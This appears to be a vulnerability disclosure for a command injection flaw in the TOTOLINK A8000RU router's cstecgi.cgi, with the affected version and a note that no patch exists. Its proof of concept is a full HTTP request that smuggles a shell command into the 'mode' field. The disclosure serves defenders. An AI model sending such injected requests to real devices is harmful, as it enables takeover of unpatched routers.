# Summary of Command Injection Vulnerability in A8000RU ## Vulnerability Overview The TOTOLINK A8000RU router contains a command injection vulnerability. Attackers can inject arbitrary operating system commands into `cstecgi.cgi` by crafting malicious requests. ## Affected Scope - **Vendor**: TOTOLINK - **Product**: A8000RU - **Version**: 7.1cu.643.b20200521 ## Remediation No official patch is currently available. ## Proof of Concept (PoC) ```http POST /cgi-bin/cstecgi.cgi HTTP/1.1 Host: 192.168.0.2 Content-Length: 87 X-Requested-With: XMLHttpRequest Accept-Language: en-US,en;q=0.9 Accept: application/json, text/javascript, */*; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Referer: http://192.168.0.2/basic/index.html Accept-Encoding: gzip, deflate, br Cookie: SESSION_ID=21772465702:2 Connection: keep-alive {"topicurl":"setWiFiAClRules","wifiIdx":"1","mode":"ls /setWiFiAClRules.txt"} ```